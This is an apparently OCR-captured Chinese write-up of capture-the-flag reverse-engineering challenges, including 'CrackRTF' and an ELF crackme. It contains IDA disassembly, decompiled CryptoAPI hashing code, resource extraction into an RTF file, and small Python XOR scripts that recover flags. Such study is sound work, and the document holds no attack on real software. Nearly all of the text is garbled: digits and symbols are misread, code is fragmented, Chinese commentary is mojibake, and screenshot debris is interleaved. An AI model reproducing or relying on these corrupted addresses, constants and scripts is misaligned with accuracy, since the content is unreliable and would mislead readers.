Ltext: 88481346 sub esp, 48h

Ltext: 88401349 call _ main

Ltext:8848134E mov byte ptr [esp+l2h]|, 42

Ltext: 88481353 mov byte ptr [esp+l3h]|, 7@

Ltext: 88481358 mov byte ptr [esp+l4h]|, 39

Ltext: 88481350 mov byte ptr [esp+lsh]|, 34

Ltext: 88481362 mov byte ptr [esp+l6h][, 78

Ltext: 88401367 mov byte ptr [esp+l7h]|, 44

Ltext: 88481360 mov byte ptr [esp+l8h]|, 34

Ltext: 88481371 mov byte ptr [esp+loh]|, 48

Ltext: 88481376 mov byte ptr [esp+lAh][, 73

.text: 88481378 mov byte ptr [esp+lBh]|, 63

Ltext: 88401388 mov byte ptr [esp+lCh]|, 43

Ltext: 88481385 mov byte ptr [esp+iDh]i, 64 !
text:eade1388 mov dword ptr [esp], offfset Formak ; "P

{zyxwvutsrqponmlkjihgfedcba™ ]\ [ ZYXWVUTSROPONMLKIIHGFEDCBA@? >



V4 = [42,70,39,34,78,44,34,40,73,63,43,64]

print(i)

s.append( i

print(s)

iin

flagl
print(flagl)

B4

[86, BT, 88, 95, 48, 83, 95, &7, b4, 64, 84, 63]
T9X_15_Wea@T?

RN

CrackRTF

1, 5T, HIEIDA32

ction name

a

1] memset(

sub_401005 11| memset(

12 L=

sub_40100A i | perprereey 5 P —
i 1

g1, @, sizeof(str

sub_40100F ; -
_main
sub_401019
sub_401040
sub 401230
sub_401420
sub_4014D0
[eimo ]

_chkesp

5

SEL35A1476258D08923A97) )

_strepy
_streat
_atol

|

BNES

_atoi
_ atoifd
_strlen

scanf("%s"
TF ( strlen(

R

_scanf
_printf

& <&k

_memset
start

memset
4 = strlen(
sub 491019

O Sl N )

Saasglest aafdbae”, Stringl) )
fast arrar evit v

t8)sub_48188F (5tr) ) |

210 of 219

Graph overview O & x

}
printf("bye ~~\n");

return 8;

PN W
BN REE DD, HR IR IS R ik tflag .

2, HENFE—AINE RS, sub_40100A.

bz, IS, LIRS —1sub 40100 FeErsEaE

B [ . — - e e - e [
1j/int _ cdecl sub 48123@(BYTE *pbData, DWORD dwDatalen, LPSTR lpStringl)
2ft

3| int result; //

4| DWORD i; // [e

5| CHAR String2[4]; //

6| BYTE we[28]; // [esp

7| DWORD pdwDatalen; //

8| HCRYPTHASH phHash; // [

9| HCRYPTPROV phProv; // [

2

11| if { !CryptAcquireContextA(&phProv, @, @, lu, @xFeeREEBE) )

12 e

3| if ( CryptCreateHash(phProv, @x8ee4u, @, @, &phHash) )

5 if ( CryptHashData(phHash, pbData, dwDatalLen, @) )

& {

7 FruntGatHachParamfnhHash 20 wfR Rndwhatal an @Y s



- B i Tl Tt T et T PN Y
L8 *1pStrin 3

19 for ( i = @; i < pdwDatalen; ++i )
]

1 wsprintfA(String2, "%e2x", ve[i]);
12 lstrcatA(lpStringl, String2);

13

4 CryptDestroyHash(phHash);

5 CryptReleaseContext(phProv, 8);

6 result = 1;

7 1

8 else

i {

je] CryptDestroyHash({phHash);

i1 CryptReleaseContext(phProv, @);

32 result = @;

13 }

il 3

15| else

i6

37 CryptReleaseContext(phProv, 8);

i3 result = @;

wl 3

| return result;

1}

FEMHASHIN %, BARIEFEE$k WINDOWS APIT- i A 44

CryptCreateHash function (wincrypt.h)

12/05/2018 = 3 minutes to read

Important This APl is deprecated. New and existing software should start using Cryptography Next Generation APls. Microsoft

may remove this APl in future releases.

The CryptCreateHash function initiates the hashing of a stream of data. It creates and returns to the calling application a handle to a
cryptographic service provider (CSP) hash object. This handle is used in subsequent calls to CryptHashData and CryptHashSessionKey

to hash session keys and other streams of data.

Syntax

C++ ™ copy

BOOL CryptCreateHash(
HCRYPTPROV hProv,
ALG_ID Algid,
HCRYPTKEY hKey,
DWORD dwFlags,
HCRYPTHASH *phHash

Parameters

hProv

A handle to a CSP created by a call to CryptAcquireContext.

Algid

An ALG_ID value that identifies the hash algorithm to use.

Valid values for this parameter vary, depending on the CSP that is used. For a list of default algorithms, see Remarks.

CALG_SHA1 0x00008004 Same as CALG_SHA. This algorithm is supported by the Microsoft Base Cryptographic
Provider.

Is this page

Y Yes 47

In this articli

I Syntax
Parameters
Return value
Remarks
Requirement:

See also

fEskgas (WATCUASIRDL, 275 1 At R 2 Kwp S A B gn ) ANKTE R PT Al i I IIAS D772 1% B A7 Zesha t il 150 5 B



HIANHI 25 53, MDS St m) LA,

4 N LR TR HIMDS

6E32D0943418C2C33385BC35A1470250DD8923A9

md5

123221@DBApp

3, sub_40100A Fl sub_401019 JN% 5 F MK, HEkey A IHE-.
TS ST R N
ZEHl 1 sub_40100F EREL

1 +un ri=n on Bl Lm0 4 Heameseae () =] FIC P Y () LEa] [N RTEYIT () Le=1
llchar _ cdecl sub_4@814D@(LPCSTR lpString)

el

3| LPCVOID lpBuffer; // [esp+5@8h] [ebp-1Ch]

4] DWORD NumberOfBytesWritten; // [esp+58h] [ebp-14h] BYREF

5| DWORD nNumberOfBytesToWrite; // [esp+s5Ch] [ebp-18h]

6| HGLOBAL hResData; // [esp+6eh] [ebp-Ch]

7| HRSRC hResInfo; // [espt+&sh] [ebp-8h]

8| HANDLE hFile; // [esp+68h] [ebp-4h]

9

@| hFile = 8;

1| hResData = @;

2] nNumberOfBytesTolrite = @;

3| NumberOfBytesWritten = @; .

4| [hResInfo = FindResourcef(®, (LPCSTR)8x65, "AM"); | REAAATTIR

Sl 1t ( 'hResInfo )

B return @;

7| nNumberOfBytesTolrite = SizeofResource(@, hResInfo);

8| hResData = LoadResource(®, hResInfo);

8| if ( !hResData ) ENBI=FTER 71 AAAETRRIIARE TR
‘| return @; . [ —— "
1| JoBuffer = LockResource(hResDatals ﬂz’ %ﬁgjl‘iﬁ\aﬁﬁﬂﬁ’@%ﬁ
2| Lsub_401005¢1pstring, (int)lpBuffer, nlumber0fBytesTolirite)s |

3| hFile = CreateFileA("dbapp.rtf", exleeegeseu, B, @, 2u, BxB8u, B);

4| if ( hFile == (HANDLE}-1 )

5 return @;

‘6l if ( !'WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten,

7 return @;

8| CloseHandle(hFile);

‘9] return 1;

@y

HERR BT R R : SRHAAATR IR N A, IpStringZ BT IfE A [IStr, BIEE — U A RS, K6 URmaHE)D , 4

sub_401005 £ AL FEAAATE JE N A FIStrab 3, A= r=.f o (U8, RTF)

AL TR EEE AU R4
T.H4: Resource Hacker (USRI Fkia, 11%)
E A SO B 7RIS R PGS 44 7 et f (BUAT S A1)
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[7] d817b3ad-28c1-443a-bbca-
[ 7] d817b3ad-28c1-443a-bbca-
[7] d817b3ad-28c1-443a-bbca-

BH Resource Hacker - 1.rtf

File Edit View Action

=117

Help

o0 0|Q0 k|

[ 7] d817b3ad-28c1-443a-bbca-
[ 7] dB17b3ad-28c1-443a-bbca-
Z] d817b3ad-28¢1-443a-bbca-
=] 1.rtf

FIN W TRAR B &S &%

I

f\rtfl\adeflang1025\anshansicpg236\uc2\adeff31507  deffl)sts

L= = TN I = I &, T N TS R

i
1
1
13
14
15

[y S

(AT F719)

{‘l.fBﬁ\fbhi \fnil\fcharset134\fprg2{\*\panose 02010600030101
D\flomajon\f31 500\ fbidi \froman\fcharset0\fprg2{\*\panose 02(
Dfhimajon\f31502\fbidi \fnilfcharsetl34\fprg2{\*\panose 0201
D\flominonf31 504\ fbidi \froman\fcharset0\fprg2{\*\panose 02(
Dvfhiminonf31506\fbidi \fnilfcharsetl34\fprg2{\*\panose 0201
I\f45\fbidi \froman\fcharset238\fprg2 Times Mew Roman CE; M
faifbidi \froman\fcharset177\fprg2 Times Mew Roman (Hebr
A\faavfbidi \fromanfcharset163\fprg2 Times Mew Roman (Vietr
\f406\fbidi \fnilfcharset204\fprq2 DengXian Cyrf\*\falt DengX
{\f486\fbidi \fnil\fcharset204\fprg2 @DengXian Cyr; }{\f488\fbic
Dflomajonf31511\fbidi \froman\fcharset161\fprg2 Times New |
Dflomajon\f21514\fbidi \froman\fcharset178\fprg2 Times New |
\fdbmajor\f315204fbidi \fnil\fcharset0\fprq2 DengXian Light W

T E A bt ek E75 4 Z 704 L Bl
£

fEmih b m e e S e m ™ P AW | imie

A, I =L ]

B

ez

[ ] d817b3ad-28¢1-443a-bbc
[ d817b3ad-28¢c1-443a-bbe

File

[ §@

BH Resource Hacker - |dB17b3ad-2Bc1-443a-bbca-edaf5276bced (1).exe |

Edit View Action

= B

Help

¥ 5

Dial
= Merbj

>

AAA IO

a0

[ d817b3ad-28c1-443a-bbei v -
[ d817b3ad-28c1-443a-bbe] |

| AAA

g 101 : 2052
- Icon
- Icon Group

0 Q|0

14 & mSla[m!
W TTTU ot
0 R ITT_E
&'poEE JU . DEP.
ip §, S]=g@
oTR(W0Z 0 A
RPo QT o!*, %
=;Io oV 3
, JVEWWIF ujvp
K Tq OoE[TF/
O"TFF @F@a’F.
pafB°G =
IV ol
V7 4 Sik=

BEAN CGRED

ﬂ I08 View—th = Ll

Pzeudocode—h

=3

0002026 0% 70 41 1 3 B0 40 BB 6D 21 2h 31 28
O00zDET T T Ic oo ey IC B4 B4 B4 BR 03 6E BB 25 22
00020250 ||ZE 20 1E 17 4F 11 00 B2 iC 54 54 54 EF B2 BC B&
00020220 26 21 O 71 45 42 05 7D 55 OE ZE 44 45 B0 &F 45
000ZDZA0 EE BT YO 18 24 2C 1F 14 1B 53 BD 3D 26 40 43 43
000ZDZE0 05 6F B4 B2 28 25 30 32 15 04 4F 12 0OF 41 IC 17
0002D2C0 (52 50 &F 14 51 64 1C &3 21 22 2C 67 1B 14 05 IC
00020200 (30 3D 3B 49 6F 19 6E 55 25 2A 27 33 11 04 11 53
000ZDZED {13 2C 33 66 45 57 57 GA 46 11 75 A 76 70 GE 41
000ZDZF0 4F OF 02 54 71 06 OA 4F 5F 45 BE 54 37 2F 2B 2F
00020300 14 44 22 B4 &0 50 IC 40 50 40 &7 &F BE B0 Z2E 23
00020310 70 71 45 42 22 47 03 3D 26 43 03 02 13 75 BE &O
00020320 (27 15 33 OF 40 2F 33 11 41 04 IF 76 43 67 66 &C
00020330 [ 70 44 27 37 1E 3C 20 00 IF 53 3E 6B 3D 3D 3B 32
Binary View
L] Hex Wiew—1 = [A] Structures E3

{

v5 = lstrlend(lpString);

for (1 =8; ; +1 )
9 1
16 result = 1i;
11 if (1 »=2a3)
12 break;
13 *( BYTE
14 3

15| return result;
16[}

1
2
3| unsigned int result; // eax

4| unsigned int i; // [esp+4Ch] [ebp-Ch]
5

]

7

8

unsigned int v5; // [esp+54h] [ebp-4h]

*3(1 + a2) ~= lpstring[i ¥ v5];

nsigned int _ cdecl sub 481428(LPCSTR lpString, int a2, int a3)



result
[0x05,0x7D,0x41,0x15,0x26,0x01 |

(o, (result)):
(result[i])”a2[i]
(€9)

dt = [rtf D #\python 7 B 7 1 V5 X Python 3.9.
- [0x05, 0x7D, Ox41, 0x15, Dx26, 0x01] #4445 B B f&@is B A ?64”»”“ wind
wpe " help”,
— ¥
i in range(d, len(result)): :Tg_éa _______
x = ord{result[i]) "a2[i] Hord () [EE =R AascI >->>a|
flag += chrix)
it (flag)

SAMAM LR TS, A s (N flag)

bl dbapp.rtf

| | dB17b3ad-28c1-443a-bbca-edab527...
| | d817b3ad-28c1-443a-bbca-edab527...
| | dB17b3ad-28c1-443a-bbca-edab527...
| | d817b3ad-28c1-443a-bbca-edab527...

[T L R LN R S R A R 8 )

| | dB17b3ad-28c1-443a-bbca-edab527...

dbapp.rif GEEERT] -

Q BfEEs
- £33 W 2l £ | | asBbced | asBocd: AaB
o = " JEX | JEEE BE
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1, BEZHE, XA b, ZRezidlfE—rifez.
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2, DA, & [ N startpi £

=y mmee e s — — oy mmmmmeeeme =y oy mmemmeesms e e L=y eemee een = Liay  memeem— = e e ——-—m
1
2jwoid _ fastcall _ noreturn start(_ int64 al, _ inte4 a2, int a3)
el
4| _ int64 v3; // rax
5| int w4y /S esi
6| _ inte4 v5; // [rsp-Bh] [rbp-8h] BYREF
7| woid *retaddr; // [rsp+8h] [rbp+8h] BYREF
3
91 w4 = v5;
b 18| w5 = v3j
b 11| sub_481BCB{(int)sub_40@9C6, |v4, (int)&retaddr, (int)sub_402888, (int)sub_48211@, =3, (_ inte4)&vs);
b 12}
— A=A, 3 Asub_4009C6 OO %L
<] TOA Viewh [ Pseudocede3 [0 PsendocodeT [ Psendosode—h [ [O] Hex Viewt [ Structures ] [F] Enuns B Imports [
A1 22| unsigrled _ inte4 v19; // [rsp+l@8h] [rbp-18h]
23
® 24| vl19 = readfsgword (8x28u);
® 25() gmemcpy(v12, "Iodl:>Qnb(ocy™, 12);
® 25(| viz[12] = 127;
@ 27(| gmemcpy(vis, "y.i", 3); HIHAL,
® 28[| vi3[3] = 127;
& 29|] gmemcpy(vis, "d 3wiwek9{iy=~yL@EC", sizeof(vis)); — »
© 38[| memset{v15, @, sizeof(v15)); ENEEEEE
® 31| v16 = @;
® 32| v17 = @;
® 33|[sub_44@6E@(8, V15, 37uLL); N
® 34wl = o5
© 35| if ( sub 424BAB(vIS) == 36 )
Ela
® 37 for ( i =@; i < (unsigned _ intea)sub_424BAB(v1iS); ++1i )
3 SHEAMHTAE
® 39 if ( (unsigned _ inta)(viS[i] ~ i) = vi2[i] ) g
48
® 41 result = 4294967294LL;
® 4z goto LABEL_13;
43
44 }
® 45 sub_418CCO({(_ inte4)"continue!™);
® 16 memset(v1s, B, Bx48ull); —ittbaseb4 iD=, P[C%urqﬁﬂﬁﬂag
® 47 viB[64] = B;
® 43 sub_44@6E@(B, V15, @x4eull);
® 43 v18[39] = 8;
® 58 if ( sub 424BAB(v1ZY) == 39 )
51
®s2 v2 = sub_40R@E44((_ int64)vis);
®s3 v3 = sub_4BRE44(v2);
® 54 vA = sub_4BRE44(v3);
® 55 vS = sub_4BBEA4(v1);
® 55 vE = sub_4BRE44(v5);
® 57 V7 = sub_4@@E44(vE); .
® 58 vE = sub_4eeEa4(v7); fH=sE, 2L ot 6cc0902flag
® 53 vd = sub_48BE44(v3);
® 68 v1e = sub_a@BE44(v3);
® 6l v1l = sub 488E44(v10);
® 62 if ( !(unsigned int)sub_4@@36@(v11, |(_ inte4)off_sCCEIE) )
63 L
v| ®64 sub_41ecce((__inte4)"You found me!l!™);
® &5 sub_410Cce((_ inte4)"bye bye~");
B 000005Cé sub_4005CE:22 (4009CE)

K off_6CCO90

° [.data: CCOBE db__ o
" |.data:peeREREEERECCROD of f_6CCEOB dq offset aVmBwd2vhuxhtwg
.data:BRAREARBORECCAY) ; DATA XREF: sub_4@89C6+31BTr
.data: BRAREABEERECCAY) 5 "Vm@wd2VHUXh TWGhpUMLSWVYWZDRWVIL3WkeSWFI ™. . .
* |.data: 6CCRaN mac
.data: 6000 flmmibiiimliiiiiinals C A8 3 ]
® |.data:eeeeoceeaesccofe byte 6CCEAQ db 40h sub_488D35+95tr
.data:00600000006CCORG
® | data: 6CCANT db
® |. data:PeeREEREORECCRAZ db
® |.data:00peeERE006CCEAS byte 6CCOA3 db ; DATA XREF: sub¥ge@eD3s+Astr
® |. data:90PEEEREORECCAAL db 5Dh ;
® | data:p0600000006CCOAS db 18h
® | data:00000000006CCOAG db 22h ;
: .data: PABABEAABOECCHAT db  45h ;
. o
. |-4ata:00eeceensesccens do 17h P A B ESflagFRERdS A=
.data:0P600REEBO6CCHAI db 2Fh ; /
® |. data:90PBEEEREORECCAAA db 24h ; 35
® | data:p0000000006CCOAR db 6Eh ; n
® |. data: 20000000006 CCOAC db 62h ; b
® |. data:pAEEABEEABECCAAD db 3ch ; <
® |. data:9eePEERBORECCRAE db 27h ;
® |. data:9eeReERRORECCOAF db s4h ; T
® | data:ooseesseossccoBe db 4sh ; H



.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:

eaopea08086CCBBL
Boo0BRE006CCBE2
BasBaRERAECCBEB3
B0000000006( (8B4
Booe0000006CCBES5
eaopoaRE006CCBE6
eaopeaR8086CCREBT7
eao00000006CCREBE
BaspBaRERA6CCBBY
20000000006 CEEA
Be0e0000006CCOEE
easpeaRe886CCBEBC
easp8020886CCBED
ea808000086CCBBE
BaspBaRERA6CCABF
BoBeBRERERECCBCE
BaeoBREEERECCACH

qword_sCCece

20000086606CCRCE of f_60CRCE

db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
dq

dgq offset aMessages

6Ch
24h
6Eh
72h
3ch
3zh
45h
5Bh

00000

geeh

—m ok A T 3 A

; DATA XREF: sub_4@1DER+7ETr

; sub_4@1DE@+1B5Tr

; DATA XREF: sub_4@36C8:loc_483CESTr



3, Hflagfy &

g X

KT RN 42 EEIX BIR

Jtext

Ltext

Ltext

. Finif

Ltext:
Jtext:
Jtext:
Ltext:
1 BEGEAERREE48BD35

Ltext:
Jtext:
Ltext:
Ltext:
Ltext:
Ltext:

Jtext:
Ltext:
Jtext:
Ltext:
Jtext:

Ltext:
Jtext:
Ltext:
Jtext:
Ltext:
Jtext:
Ltext:
Ltext:
Ltext:
Ltext:
Ltext:
Jtext:
Ltext:
Jtext:
Ltext:
Jtext:
Ltext:
Ltext:

IDA View—h Psendocode-D [ Pseudocode—B PramioendeE Brpmisenda [ Hex View-t A Structures [E E
llunsigned _ int64 sub_48@D035()
2
3| unsigned _ int64 result; // rax
4| unsigned int vl; // [ h] [rbp-24h
5| dint i3 // [rs Bh]
6| dnt §; // [ ] ]
7| unsigned int v4; // [rsp+24h] [rbp-Ch]
8| unsigned _ int64 v5; // [rsp+28h] [rbp-8h]
9
1@ = _ readfsqword(@x28u);
11| wl = sub 43FD28(@LL) - qword_G6CEE38;
12| for ( 1 =@; 1 <= 1233; ++1 )
13
14 sub_48F798(v1);
15 sub_4BFEGB();
16 sub_4BFEGB();
17 v1 = sub_4@FE6R() ~ @x9B765432;
18| }
19 v = vl
2 if ( ((unsigned _ int8)vl » byte 6CCOAB[B]) == 'f' && (HIBYTE(v4) ~ (unsigned _ int3)byte 6CCBA3) == 'g' )
23
{
23 for ( § =@; § <= 24; ++] )
23 sub_418E98( (unsigned _ intd)(byte_BCCBAB[]] ~ *((_EBYTE *)&4 + 1 % 4)));
24
¥ e
2 ~esult = _ readfsqword(@x28u) ~ vs; RS lag
2| if ( result )
27 sub_444626();
24| return result;
24

BogBooBREB408D34
BReBRABRAE42ED34
Ba22262222488035

egepaaoeReLaR055

Ba22262222488035
BaeBRoBREE488D35
eaeeac2002408D035
BaeBRoBREE488D35
1Baeeaa0000420035
BaeeaEER8488035
Baee262068408035
BaeeaEER8488035
eaeea22002408035
BooBREBRRE488D35
1Baeeae2220420035
Ba22262222488035
BREBRAERRELBED36
Bae2222222488039
BaeBRABRAE42ED3D
BEE2262202488046
BaepaaeR0848804A
BEE226222248804C
BaeeaoeR8488051
eaaea02002408056
BaaBaaBRE848805A
Bae2a62008408805E
eaeeaaeREE4080D68
eaeeae2008408D67
BooBRoBRRE488D69
eaeeRE20024088D68
BooBRoBR28488D6E
Baeea22002488D75
\aeeEE2222488D77

r bTT

AR A -

BaeBREEREE488D35

i,

popoBeERRRARRD34 ; } // starts at 480906

N4 1275 R -

sub_4ee9Ce endp
= 5UBROUTTINE =========== ====== ==
Attributes: bp-based frame
sub_488035 proc near ; DATA XREF ay o
var_24 = dword ptr -24h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = gword ptr -18h
var_C = dword ptr -@ch
var_38 = gword ptr -8
3 _ unwind {
push rbp
mov rbp, rsp
sub rsp, 38h
mov rax, Ts:28h
mov [rbp+var_8], rax
xor eax, eax
mov edi, @
call sub_43FD2@
mov [rbp+var_18], rax
mov rax, [rbp+var_18]
mov edx, eax
moy rax, cs:igword_BCEE38
sub edx, eax
mov eax, edx
mav [rbp+var_24], eax
mov [rbpt+var_2e], @
jmp short loc_488D9C
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